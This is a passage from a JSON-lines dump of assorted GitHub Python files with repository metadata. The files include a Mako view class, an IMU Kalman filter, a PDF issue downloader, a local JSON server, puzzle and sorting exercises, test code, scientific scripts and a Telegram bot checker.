r = Guiosad.assigment_function(input1, input2)\n return Guiosad.levels_lbls.index(r) > 2\n\n\nif __name__ == '__main__':\n g = Guiosad()\n print(g.data)","repo_name":"jplacesc/guiosad_flexx_0.1.2","sub_path":"guiosad.py","file_name":"guiosad.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9317545792","text":"#--------------------------------------\r\n# WEB 2019/2020\r\n# Aufgabe P2 / Anwendungsrahmen\r\n#--------------------------------------\r\n\r\nimport codecs\r\nimport os.path\r\n\r\nfrom mako.template import Template\r\nfrom mako.lookup import TemplateLookup\r\nfrom mako import exceptions\r\n\r\n#----------------------------------------------------------\r\nclass View_cl(object):\r\n#----------------------------------------------------------\r\n\r\n #-------------------------------------------------------\r\n def __init__(self, currDir_spl):\r\n #-------------------------------------------------------\r\n templateDir_s = os.path.join(currDir_spl, 'templates')\r\n self.lookup_o = TemplateLookup(templateDir_s, module_directory=templateDir_s)\r\n\r\n self.templateMethods_o = {\r\n 'elist': [\r\n 'elist.tpl.html',\r\n self.createList_p,\r\n False # ohne id\r\n ],\r\n 'eform': [\r\n 'eform.tpl.html',\r\n self.createForm_p,\r\n True # mit id\r\n ],\r\n 'alist': [\r\n 'alist.tpl.html',\r\n self.createList_p,\r\n False # ohne id\r\n ],\r\n 'aform': [\r\n 'aform.tpl.html',\r\n self.createForm_p,\r\n True # mit id\r\n ],\r\n 'index': [\r\n 'index.tpl.html',\r\n self.createList_p,\r\n False # ohne id\r\n ]\r\n }\r\n\r\n #-------------------------------------------------------\r\n def create_px(self, viewType_spl, data_opl, id_spl = None):\r\n #-------------------------------------------------------\r\n markup_s = ''\r\n if viewType_spl in self.templateMethods_o:\r\n templateName_s = self.templateMethods_o[viewType_spl][0]\r\n templateMethod_o = self.templateMethods_o[viewType_spl][1]\r\n if self.templateMethods_o[viewType_spl][2]:\r\n markup_s = templateMethod_o(templateName_s, id_spl, data_opl)\r\n else:\r\n markup_s = templateMethod_o(templateName_s, data_opl)\r\n return markup_s\r\n\r\n #-------------------------------------------------------\r\n def createList_p(self, templateName_spl, data_opl):\r\n #-------------------------------------------------------\r\n try:\r\n template_o = self.lookup_o.get_template(templateName_spl)\r\n markup_s = template_o.render(data_o = data_opl)\r\n except:\r\n print(exceptions.text_error_template().render())\r\n markup_s = exceptions.html_error_template().render()\r\n return markup_s\r\n\r\n #-------------------------------------------------------\r\n def createForm_p(self, templateName_spl, id_spl, data_opl):\r\n #-------------------------------------------------------\r\n try:\r\n template_o = self.lookup_o.get_template(templateName_spl)\r\n markup_s = template_o.render(data_o = data_opl, key_s = id_spl)\r\n except:\r\n print(exceptions.text_error_template().render())\r\n markup_s = exceptions.html_error_template().render()\r\n return markup_s\r\n# EOF\r\n","repo_name":"Chunk3r/WEB","sub_path":"app/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"15012458864","text":"\"\"\"Default settings for wtpython.\"\"\"\nfrom pathlib import Path\n\nBASE_DIR = Path(__file__).resolve().parent\nAPP_NAME = \"WTPython\"\nGH_ISSUES = \"https://github.com/what-the-python/wtpython/issues\"\n\nSO_MAX_RESULTS = 10\nSEARCH_ENGINE = 'Google'\n\nREQUEST_CACHE_LOCATION = Path.home() / Path(\".wtpython_cache\")\nREQUEST_CACHE_DURATION = 60 * 60 * 24 # One day (in seconds)\n","repo_name":"VagishVela/wtpython","sub_path":"wtpython/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":145,"dataset":"github-code","pt":"70"} +{"seq_id":"2207440165","text":"import time\nimport argparse \nimport navio.mpu9250\nimport numpy as np\nimport flight_functions as fcn\n\nIMU = navio.mpu9250.MPU9250()\n\nIMU.initialize(1,0x06)#lowpass->20Hz\ntime.sleep(1)\n\nm6a0=np.zeros((3,))\nm6g0=np.zeros((3,))\n\nfor i in range(1,1000):\n ma0, mg0 = IMU.getMotion6()\n m6a0=m6a0+np.array(ma0)\n m6g0=m6g0+np.array(mg0)\nm6g0=m6g0/1000\nm6a0=m6a0/1000\nm6a0[0],m6a0[1]=m6a0[1],m6a0[0]\nm6g0[0],m6g0[1]=m6g0[1],m6g0[0]\n\nx0=np.zeros((2,))\nfor i in range(1,1000):\n m6a, m6g = IMU.getMotion6()\n m6a[0],m6a[1]=-m6a[1],-m6a[0] \n m6a=np.array(m6a)\n x0=x0+fcn.get_angle_acc(m6a)\nx0=x0/1000\n\nx=x0\nP=np.zeros((2,2))\nTs=1/250\nYaw=0\nTri=np.zeros((2,3))\n\nc=np.array([[1,0],[0,1]])\nq=np.array([[1.74E-3*Ts*Ts,0],[0,1.74E-3*Ts*Ts]])\nb=np.array([[1,0],[0,1]])\nr=np.array([[1*Ts*Ts,0],[0,1*Ts*Ts]])\nCgy=np.eye(3,3)*1.74E-3*Ts*Ts\n\nwhile(True):\n t_estimate_Attitude0=time.time()\n m6a, m6g = IMU.getMotion6()\n m6a[0],m6a[1]=-m6a[1],-m6a[0]\n m6g[0],m6g[1]=m6g[1],m6g[0]\n\n m6a=np.array(m6a)\n m6g=np.array(m6g)-m6g0\n m6g[2]=-m6g[2]\n\n Tri=fcn.get_Trigonometrxic(x)\n J=fcn.Jacobian_forprocessvariance2(Tri)\n Jt=J.transpose()\n x,P=fcn.Kalman_filer2(x,fcn.get_angle_acc(m6a),m6g,c,b,q,r,P,Ts,Tri)\n Yaw=Yaw+(Tri[1,1]/Tri[0,0]*m6g[1]+Tri[1,0]/Tri[0,0]*m6g[2])*Ts\n phi=np.array([Yaw,x[0]-x0[0],x[1]-x0[1]])\n print(phi)\n time.sleep(Ts-time.time()+t_estimate_Attitude0)","repo_name":"Soonki/flight_controller_forNavio2","sub_path":"src/testKalman.py","file_name":"testKalman.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"42334651520","text":"#! /usr/bin/env python3\n\nimport os\nimport asyncio\nimport re\nimport aiohttp\nimport aiofiles\nimport click\n\nSITE = \"https://www.digitalwhisper.co.il\"\nLOCATION_IN_SITE = \"files/Zines/{hexa}/DigitalWhisper{decimal}.pdf\"\nURL = \"/\".join([SITE, LOCATION_IN_SITE])\nDEFAULT_ISSUE_FORMAT = \"DigitalWhisper{}.pdf\"\nFIND_NUMBER = \"[1-9][0-9]*\"\nOK = 200\n# -rwxrw-rw-\nFILE_PERMISSIONS = 0o766\n\n\ndef convert_to_hexadecimal(number):\n return \"0x\" + \"{0:X}\".format(int(number)).zfill(2)\n\n\ndef generate_urls(issues):\n for issue in issues:\n yield URL.format(hexa=convert_to_hexadecimal(issue),\n decimal=issue)\n\n\nasync def issue_downloader(path, url, issue_format):\n print(\"Downloading issue from url: {url}\".format(url=url))\n issuename = re.search(issue_format.format(FIND_NUMBER), url).group()\n filename = os.path.join(path, issuename)\n\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n if response.status == OK:\n async with aiofiles.open(filename, mode=\"wb\") as f:\n await f.write(await response.read())\n os.chmod(filename, FILE_PERMISSIONS)\n print(\"Done downloading issue from url: {url}\".format(url=url))\n\n\nasync def issues_downloader(path, issues, issue_format):\n tasks = []\n for url in generate_urls(issues):\n tasks.append(asyncio.ensure_future(\n issue_downloader(\n path, url, issue_format)))\n asyncio.gather(*tasks)\n\n\n@click.command()\n@click.option(\"--issue-number\", type=int,\n default=None, help=\"download a specific issue\")\n@click.option(\"--max-issue\", type=int,\n help=\"the latast issue to download\")\n@click.option(\"--min-issue\", type=int, default=0,\n help=\"the first issue to download\")\n@click.option(\"--path\", default=os.getcwd(),\n help=\"where to store the downloaded issues\")\ndef download_issues(issue_number, max_issue, min_issue, path,\n issue_format=DEFAULT_ISSUE_FORMAT):\n if issue_number is not None:\n max_issue = issue_number\n min_issue = issue_number\n\n issues = list(range(min_issue, max_issue + 1))\n loop = asyncio.get_event_loop()\n try:\n loop.run_until_complete(\n issues_downloader(path=path, issues=issues,\n issue_format=issue_format))\n for t in asyncio.Task.all_tasks():\n if not t.done() or t.cancelled():\n loop.run_until_complete(t)\n finally:\n loop.close()\n\n\nif __name__ == '__main__':\n download_issues()\n","repo_name":"roeey777/digital-whisper-downloader","sub_path":"digital-whisper-download/download_issues.py","file_name":"download_issues.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43272560453","text":"from http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nimport re\n\nimport methods\n\nhost_name = \"127.0.0.1\"\nserver_port = 3001\n\nmethod_name_pat = re.compile(r'^/(\\S+)$')\n\n\nclass RequestHandler(BaseHTTPRequestHandler):\n\n def do_POST(self):\n try:\n method_name = self.get_method_name()\n request = self.get_request()\n resp = {'data': self.invoke_method(method_name=method_name, request=request)}\n self.write_response(code=200, resp_body=resp)\n except Exception as ex:\n resp = {'err': {'code': -1, 'msg': str(ex)}}\n self.write_response(code=500, resp_body=resp)\n raise ex\n\n def get_method_name(self):\n m = method_name_pat.match(self.path)\n return m.group(1)\n\n def get_request(self):\n content_length = int(self.headers['Content-Length'])\n body_str = self.rfile.read(content_length).decode(\"utf-8\")\n return json.loads(body_str)\n\n def invoke_method(self, method_name: str, request: dict):\n return getattr(methods, method_name)(**request)\n\n def write_response(self, code: int, resp_body: dict):\n self.send_response(200)\n self.send_header(\"Content-type\", \"application/json\")\n self.end_headers()\n self.wfile.write(bytes(json.dumps(resp_body), 'utf-8'))\n\n\nif __name__ == \"__main__\":\n webServer = HTTPServer((host_name, server_port), RequestHandler)\n print(f'Server started at http://{host_name}:{server_port}')\n webServer.serve_forever()\n","repo_name":"Igorocky/fe-template","sub_path":"src/be/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9608280991","text":"def initializePuzzle():\n \"\"\"\n returns puzzle filled with zeros\n \"\"\"\n return (\n [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0]])\n\n\ndef get_cages():\n \"\"\"\n returns list of cages\n \"\"\"\n cages = []\n numberOfCages = int(input(\"Number of cages: \"))\n\n for i in range(numberOfCages):\n cage = input(\"Cage number %d: \" % i).split() # allows for mulitple\n # input in a single line\n cages.append([int(i) for i in cage]) # addes user input to a list,\n # casting each num as an int, and adds that list to cages\n return cages\n\n\ndef get_cellval(puzzle, cellIndex):\n \"\"\"\n returns cell value for given cell index\n Arguments:\n puzzle -- (list of lists)\n cellIndex -- (int) index of cell between 0 and 24\n \"\"\"\n row = cellIndex // 5\n col = cellIndex % 5\n\n return (puzzle[row][col])\n\n\ndef update_puzzle(puzzle, cellValue, cellIndex):\n row = cellIndex // 5\n col = cellIndex % 5\n puzzle[row][col] = cellValue\n return (puzzle)\n\n\ndef check_col_val_pre(puzzle, columnIndex):\n \"\"\"\n returns True if no duplicates in a single column\n Arguments\n puzzle -- (list of lists)\n columnIndex -- (int) between 0 and 4 representing column being checked\n \"\"\"\n numCounter = dict()\n col = list()\n for i in range(5):\n col.append(puzzle[i][columnIndex])\n\n for i in col:\n if i < 1:\n continue\n numCounter[i] = numCounter.get(i, 0) + 1 # creates a dictionary\n # representing the number of occurances for each number in a list\n for i in numCounter:\n if numCounter[i] > 1: # if the number of occurances is greater than one\n return False\n return True\n\n\ndef check_columns_valid(puzzle):\n for col in range(len(puzzle)):\n if not check_col_val_pre(puzzle, col):\n return False\n return True\n\n\ndef check_row_val_pre(puzzle, rowIndex):\n \"\"\"\n returns True if no duplicates in a single row\n Arguments:\n puzzle -- (list of lists)\n rowIndex -- (int) between 0 and 4 representing row being checked\n \"\"\"\n numCounter = dict()\n row = puzzle[rowIndex]\n\n for i in row:\n if i < 1:\n continue\n numCounter[i] = numCounter.get(i, 0) + 1 # creates a dictionary\n # representing the number of occurances for each number in a list\n for i in numCounter:\n if numCounter[i] > 1:\n return False\n return True\n\n\ndef check_rows_valid(puzzle):\n for row in range(len(puzzle)):\n if not check_row_val_pre(puzzle, row):\n return False\n return True\n\n\ndef check_cages_val_pre(puzzle, cages, cageIndex):\n \"\"\"\n returns True if sum of cage's cells are less than or equal to the\n required sum\n Arguments :\n puzzle -- (list of lists)\n cages -- (list of lists) cage contains: sum, numCells, cageIndex\n cageIndex -- (int) between 0 and numCages\n \"\"\"\n cage = cages[cageIndex]\n cageSum = cage[0]\n puzzleIndexes = cage[2:]\n puzzleValues = [get_cellval(puzzle, i) for i in puzzleIndexes]\n cageSumTest = 0\n\n for cellIndex in puzzleIndexes: # sum of cage\n cageSumTest += get_cellval(puzzle, cellIndex)\n\n if check_zero(puzzleValues) == True and cageSum == cageSumTest:\n return True\n elif check_zero(puzzleValues) == False and cageSumTest < cageSum:\n return True\n else:\n return False\n\n\ndef check_cages_valid(puzzle, cages):\n for i in range(len(cages)):\n if not check_cages_val_pre(puzzle, cages, i):\n return False\n return True\n\n\ndef check_valid(puzzle, cages):\n \"\"\"\n returns True if puzzle is still valid for the following: row, columns,\n and cages\n Arguments :\n puzzle -- (list of lists)\n cages -- (list of lists) cage contains: sum, numCells, cellIndexes\n \"\"\"\n if check_cages_valid(puzzle, cages) and check_rows_valid(\n puzzle) and check_columns_valid(puzzle) == True:\n return True\n return False\n\n\ndef check_zero(puzzle):\n \"\"\"\n returns True if puzzle contains no zeros\n \"\"\"\n for i in puzzle:\n if i == 0:\n return False\n return True\n\n\ndef print_puzzle(puzzle):\n for row in puzzle:\n for cell in row:\n print(cell, \"\", end=\"\")\n print()\n","repo_name":"samyak-n/samyaksCS","sub_path":"solv_funcs.py","file_name":"solv_funcs.py","file_ext":"py","file_size_in_byte":4334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"3287757461","text":"import operator\nimport numpy as np\nfrom pytest import fixture\nfrom numpy.testing import assert_array_equal as assert_array_equal\nimport boolnet.bintools.operator_iterator as opit\n\n\nclass TestIterators:\n @fixture(params=[\n opit.ZeroIncIterator,\n opit.UnaryANDIncIterator,\n opit.UnaryORIncIterator,\n opit.ANDIncIterator,\n opit.ORIncIterator,\n opit.AddIncIterator,\n opit.SubIncIterator,\n opit.MulIncIterator])\n def include_iterator(self, request):\n return request.param\n\n @fixture(params=[\n opit.ZeroExcIterator,\n opit.UnaryANDExcIterator,\n opit.UnaryORExcIterator,\n opit.ANDExcIterator,\n opit.ORExcIterator,\n opit.AddExcIterator,\n opit.SubExcIterator,\n opit.MulExcIterator])\n def exclude_iterator(self, request):\n return request.param\n\n @fixture(params=np.random.randint(2, 100, 5))\n def index_harness(self, request):\n max_index = request.param\n num_indices = np.random.randint(max_index-1, max_index)\n in_indices = np.random.choice(max_index, size=num_indices,\n replace=False)\n in_indices = np.array(np.sort(in_indices), dtype=np.uint64)\n ex_indices = np.array([i for i in range(max_index)\n if i not in in_indices])\n return (in_indices, ex_indices, max_index)\n\n def test_include_indices(self, include_iterator, index_harness):\n indices, _, _ = index_harness\n expected = np.array(indices, copy=True)\n actual = np.array(list(include_iterator(indices, 2)))[:, 0]\n\n assert_array_equal(expected, actual)\n\n def test_exclude_indices(self, exclude_iterator, index_harness):\n indices, expected, max_index = index_harness\n actual = np.array(list(exclude_iterator(indices, 2, max_index)))[:, 0]\n\n assert_array_equal(expected, actual)\n\n\nclass TestExampleIteratorFactory:\n @fixture(params=[\n (opit.AND, operator.__and__),\n (opit.OR, operator.__or__),\n (opit.ADD, operator.add),\n (opit.SUB, operator.sub),\n (opit.MUL, operator.mul)\n ])\n def binary_op(self, request):\n return request.param\n\n @fixture(params=[\n (opit.ZERO, lambda x, m: 0),\n (opit.UNARY_OR, lambda x, m: int(x > 0)),\n (opit.UNARY_AND, lambda x, m: int(x == m - 1))\n ])\n def unary_op(self, request):\n return request.param\n\n @fixture(params=list(range(1, 7)))\n def operand_width(self, request):\n return request.param\n\n def test_operator_factory_include(self, binary_op, operand_width):\n operator_id, operator_function = binary_op\n Nb = int(operand_width)\n upper = 2**Nb\n max_indices = 2**(2*Nb)\n Ne = np.random.randint(min(100, max_indices))\n indices = np.random.choice(max_indices, Ne, replace=False)\n indices = np.array(indices, dtype=np.uint64)\n\n factory = opit.OpExampleIterFactory(indices, Nb, operator_id, False)\n\n for i, (inp, tgt) in zip(indices, iter(factory)):\n assert i == inp\n expected_out = operator_function(int(i // upper), int(i % upper))\n if expected_out < 0:\n expected_out += upper\n assert expected_out == tgt\n\n def test_operator_factory_exclude(self, binary_op, operand_width):\n Nb = operand_width\n upper = 2**Nb\n N = 2**(2*Nb)\n Ne = np.random.randint(min(100, N))\n ex_indices = np.random.choice(N, Ne, replace=False)\n ex_indices = np.array(ex_indices, dtype=np.uint64)\n indices = (i for i in range(N) if i not in ex_indices)\n\n factory = opit.OpExampleIterFactory(ex_indices, Nb, binary_op[0], True)\n\n for i, (inp, tgt) in zip(indices, iter(factory)):\n assert i == inp\n expected_out = binary_op[1](int(i // upper), int(i % upper))\n if expected_out < 0:\n expected_out += upper\n assert expected_out == tgt\n\n def test_unary_operator_factory_include(self, unary_op, operand_width):\n Nb = int(operand_width)\n N = 2**Nb\n Ne = np.random.randint(min(100, N))\n indices = np.random.choice(N, Ne, replace=False)\n indices = np.array(indices, dtype=np.uint64)\n\n factory = opit.OpExampleIterFactory(indices, Nb, unary_op[0], False)\n\n for i, (inp, tgt) in zip(indices, iter(factory)):\n assert i == inp\n expected_out = unary_op[1](i, N)\n assert expected_out == tgt\n\n def test_unary_operator_factory_exclude(self, unary_op, operand_width):\n Nb = operand_width\n N = 2**Nb\n Ne = np.random.randint(min(100, N))\n ex_indices = np.sort(np.random.choice(N, Ne, replace=False))\n ex_indices = np.array(ex_indices, dtype=np.uint64)\n indices = (i for i in range(N) if i not in ex_indices)\n\n factory = opit.OpExampleIterFactory(ex_indices, Nb, unary_op[0], True)\n\n for i, (inp, tgt) in zip(indices, iter(factory)):\n assert i == inp\n expected_out = unary_op[1](i, N)\n assert expected_out == tgt\n","repo_name":"shannonfenn/Multi-Label-Curricula-via-Minimum-Feature-Selection","sub_path":"boolnet/test/test_operator_iterator.py","file_name":"test_operator_iterator.py","file_ext":"py","file_size_in_byte":5168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"1651282503","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 6 20:22:21 2021\n\n@author: walter\n\nProyecto Básico de Python (Piedra, Papel o Tijera).\nBasado en el proyecto de: Kylie Ying (@kylieyying). \n\n\"\"\" \nimport random\n\ndef jugar():\n usuario = input(\"Escoge una opción: \\n 'p'=para piedra,\\n 'a'=para papel, \\n 't'= para tijera.\\n\").lower()\n computadora = random.choice(['p', 'a', 't'])\n\n if usuario == computadora:\n return '¡ OOOppppsss Empate...!!!'\n\n if ganó_el_jugador(usuario, computadora):\n return '¡ Felicitaciones Ganaste...!!!'\n\n return '¡ Lo siento Perdiste...!!!'\n\n\ndef ganó_el_jugador(jugador, oponente):\n # Retornar True (verdadero) si gana el jugador.\n # Piedra gana a Tijera (pi > ti).\n # Tijera gana a Papel (ti > pa).\n # Papel gana a Piedra (pa > pi).\n if ((jugador == 'p' and oponente == 't')\n or (jugador == 't' and oponente == 'a')\n or (jugador == 'a' and oponente == 'p')):\n return True\n else:\n return False\n\n\nprint(jugar())\n\n","repo_name":"wgekko/Python-Inicial","sub_path":"piedra_papel_tijera.py","file_name":"piedra_papel_tijera.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"3063567635","text":"import numpy as np\nfrom ex4.solution4 import detect_cov, detect_ocsvm, detect_iforest, detect_lof\nfrom utils import report_results_2d\n\n# load data\ntrain_data = np.genfromtxt(\"ex4_train_data.csv\")\ntrain_labels = np.genfromtxt(\"ex4_train_labels.csv\")\n\noutliers_fraction = np.count_nonzero(train_labels) / len(train_labels)\n\n# make predictions\npredictions_cov = detect_cov(train_data,\n outliers_fraction)\n\npredictions_ocsv = detect_ocsvm(train_data,\n outliers_fraction)\n\npredictions_iforest = detect_iforest(train_data,\n outliers_fraction)\n\npredictions_lof = detect_lof(train_data,\n outliers_fraction)\n\n# show results\n# on train data!\nreport_results_2d(train_data, train_labels, {\n \"Covariance-Mahalanobis\": predictions_cov,\n \"One-Class SVM\": predictions_ocsv,\n \"Isolation Forest\": predictions_iforest,\n \"Local Outlier Factor\": predictions_lof\n})\n","repo_name":"miksik98/iwisum","sub_path":"6_anomalies_detection/ex4/script4.py","file_name":"script4.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"71911189348","text":"#[COMPLETED]\r\n\r\n# Definition for a binary tree node.\r\nclass TreeNode:\r\n def __init__(self, x):\r\n self.val = x\r\n self.left = None\r\n self.right = None\r\n\r\nclass Solution:\r\n def lowestCommonAncestor(self, root, p, q):\r\n if root is None:\r\n return None\r\n # Find both nodes first\r\n p_path = []\r\n self.find_path(root, p, p_path)\r\n q_path = []\r\n self.find_path(root, q, q_path)\r\n\r\n # Reduce longest path to shorter path length\r\n while len(p_path) > len(q_path):\r\n p_path.pop()\r\n while len(q_path) > len(p_path):\r\n q_path.pop()\r\n\r\n # Walk back both paths one level at a time until they meet (at root at the end, or before)\r\n while p_path[-1].val != q_path[-1].val:\r\n p_path.pop()\r\n q_path.pop()\r\n\r\n return p_path[-1]\r\n\r\n def find_path(self, current, target, cur_path):\r\n cur_path.append(current)\r\n if current.val == target.val:\r\n return True\r\n if current.left is not None:\r\n if self.find_path(current.left, target, cur_path):\r\n return True\r\n if current.right is not None:\r\n if self.find_path(current.right, target, cur_path):\r\n return True\r\n cur_path.pop()\r\n return False\r\n\r\n\r\nsol = Solution()\r\nroot = TreeNode(3)\r\np = TreeNode(5)\r\nq = TreeNode(1)\r\n\r\nroot.left = p\r\nroot.left.left = TreeNode(6)\r\nroot.left.right = TreeNode(2)\r\nroot.left.right.left = TreeNode(7)\r\nroot.left.right.right = TreeNode(4)\r\nroot.right = q\r\nroot.right.left = TreeNode(0)\r\nroot.right.right = TreeNode(8)\r\n\r\nprint(sol.lowestCommonAncestor(root, p, q).val)\r\n","repo_name":"calvincramer/coding-challenges","sub_path":"leet-code/src/problems/p0236/python/p236.py","file_name":"p236.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"26162815449","text":"import numpy as np\nfrom Heat2D_FE import *\n\nnpoints = 65\nnsteps = 30000\n\nstart_opt = 0\nend_opt = 300\nopt_step_length = 0.5\n\nif start_opt==0:\n beta = np.ones((npoints*(nsteps+1)))\nelse:\n beta = np.loadtxt(\"beta_files/beta_%04d.dat\"%(start_opt))\n\nEqn = LaplaceEquation(num_points=npoints,\\\n n_steps=nsteps,\\\n boundary_target=10*np.cos(1.5*np.pi*np.linspace(-1.,1.,npoints)),\\\n heat_transfer_coefficient=2.0,\\\n fourier_number=0.2,\\\n beta=beta)\n\nprint(\"============================================================\")\nprint(\" FIELD INVERSION USING UNSTEADY ADJOINTS\")\nprint(\"============================================================\")\nprint(\"| Iteration | Obj. Fn. |\")\nprint(\"------------------------------------------------------------\")\n\nfor i in range(start_opt, end_opt):\n Eqn.DirectSolve()\n Eqn.Objective()\n Eqn.AdjointObjective()\n Eqn.AdjointSolve()\n print(\"| %9d | %.15E |\"%(i, Eqn.obj))\n Eqn.beta = Eqn.beta - opt_step_length * Eqn.sens/np.linalg.norm(Eqn.sens)\n if (i+1)%20==0:\n np.savetxt(\"beta_%04d.dat\"%(i+1), Eqn.beta)\n\nprint(\"------------------------------------------------------------\")\n","repo_name":"vsriv9394/pyUnsteadyAdjointsUM","sub_path":"optimize.py","file_name":"optimize.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"33847201255","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 26 11:40:48 2022\n\n@author: gramirez\n\"\"\"\n\nfrom modulos import *\n\nmes_esp = {'January':'Ene', 'February':'Feb',\n 'March':'Mar', 'April':'Abr', 'May':'May',\n 'June':'Jun', 'July':'Jul', 'August':'Ago',\n 'September':'Set', 'October':'Oct', 'November':'Nov', 'December':'Dic'}\n\nmes_unico = ['January', 'February', 'March', 'April', 'May', 'June',\n 'July', 'August', 'September', 'October', 'November', 'December']\n\nclass CTD:\n def __init__(self, df):\n self.datos = df[['profundidad', 'variable', 'valor']]\n self.id = df.id[0]\n self.mes = df.mes[0]\n self.fecha = df.fecha[0]\n self.lon = df.lon[0]\n self.lat = df.lat[0] \n \n def __repr__(self):\n info = io.StringIO()\n self.datos.info(buf = info)\n titulo = 'Marina de Guerra del Perú\\n'+\\\n 'Dirección de Hidrografía y Navegación\\n'\n salida = titulo + \\\n 'Perfil hecho en: {}\\nEn las coordenadas {}\\nProfundidad máxima: {:.1f} metros \\nCon variables: {} \\n{}'.\\\n format( self.fecha, (self.lon, self.lat), self.datos.profundidad.max() ,\\\n str(self.datos.variable.unique()), info.getvalue() )\n return salida\n \n def id(self):\n return self.id\n \n def coordenadas(self):\n return (self.lon, self.lat)\n \n def fecha(self):\n type(self.fecha)\n return self.fecha\n \n def datos(self):\n return self.datos\n \ndef ad_to_map( mapa, ctd_obj, color_dict):\n df = ctd_obj.datos\n coords = ctd_obj.coordenadas()\n mes = mes_esp[ctd_obj.mes]\n anio_ctd = ctd_obj.fecha\n chart = altair.Chart(df\n ).mark_circle(\n size=7\n ).encode(\n x = altair.X('valor', scale=altair.Scale(zero=False)),\n y = altair.Y('profundidad', scale=altair.Scale(reverse=True) )\n ).properties(\n width = 100,\n height = 300\n ).facet(\n column = 'variable' \n ).resolve_scale(\n x='independent',\n y='shared')\n popup = folium.Popup(max_width=450) \n folium.features.VegaLite(chart, height=150, width=400).add_to(popup) # pop-up label for the marker \n folium.Marker(location=[coords[1], coords[0]], # coordinates for the marker (Earth Lab at CU Boulder)\n popup = popup,\n icon = plugins.BeautifyIcon(iconSize=[10, 10], number = int(ctd_obj.id),\n background_color = color_dict[mes],\n border_width=1,\n text_color='black',\n inner_icon_style='font-size:10px;margin-top:4px;')\n ).add_to(mapa) ","repo_name":"gramirezR/mapa_app","sub_path":"ctd_objt.py","file_name":"ctd_objt.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38044058632","text":"# Prefer iterative method over recursive\n# https://stackoverflow.com/questions/57481997/recursive-and-iterative-binary-search-which-one-is-more-efficient-and-why\n\n# Time complexity iterative binary sort is O(n^2)\n# https://www.interviewkickstart.com/learn/binary-insertion-sort#:~:text=For%20average%2Dcase%20time%20complexity,%CE%B8(N%5E2).\n\ndef binary_search_iterative(A,low,high, key): #needs a sorted array and binary_search(Array_name, first_index, last_index, element_to_be_found)\n\n while(low<=high):\n mid = (low+high)//2\n if key==A[mid]:\n return mid+1\n elif key>A[mid]:\n low = mid+1\n else:\n high=mid-1\n return low\n\ndef binary_sort(A):\n n = len(A)\n for i in range(n):\n key = A[i]\n\n index = binary_search_iterative(A,0, i-1, key)\n\n while (i-1 >= index):\n A[i] = A[i-1]\n i = i-1\n A[i] = key\n\n\nA = [3.2,321.31,313.44]\nbinary_sort(A)\nprint(A)\n\n","repo_name":"ShivamBarke/100daysofCC","sub_path":"cc_prac/dsa_algorithms/binarySort.py","file_name":"binarySort.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"32418561167","text":"import telegram\nimport logging\nfrom threading import Thread\nfrom time import sleep\nfrom models import User\nfrom db import Session\nfrom config import CHECK_INTERVAL\n\nlogger = logging.getLogger(__name__)\n\n\nclass Checker(Thread):\n def __init__(self, bot: telegram.Bot):\n super().__init__()\n self.bot = bot\n\n def run(self) -> None:\n while True:\n try:\n session = Session()\n users_to_check: [User] = [user for user in session.query(User)\n if user.active_task and user.active_task.result == 'background']\n logger.info(f'{len(users_to_check)} active background tasks')\n for user in users_to_check:\n task = user.active_task\n if task.verify():\n self.bot.send_message(user.chat_id, task.on_complete_msg)\n session.commit()\n session.close()\n sleep(CHECK_INTERVAL)\n except Exception as e:\n logger.error(e)\n","repo_name":"siemarell/meetups-bot","sub_path":"checker.py","file_name":"checker.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33092301249","text":"\r\nprint('Shruti Chakraborty')\r\nx=3\r\ntype(x)\r\ny=3.0\r\ntype(y)\r\nmyclass = 'ME 021'\r\ntype(myclass)\r\n\r\npi=3.14159\r\nr=10\r\nb=4/3\r\nV=b*pi*r*r*r\r\nprint(V)\r\n\r\nphrase ='Abraham Lincoln was a great wrestler'\r\ncharacters = len (phrase)\r\nprint(characters)\r\nlast = phrase[35]\r\nprint(last)\r\nfirstname = phrase[0:7]\r\nprint(firstname)\r\nfullname = phrase[0:15]\r\nprint(fullname)\r\nsurname = phrase[8:15]\r\nfullname1 = firstname + ' ' + 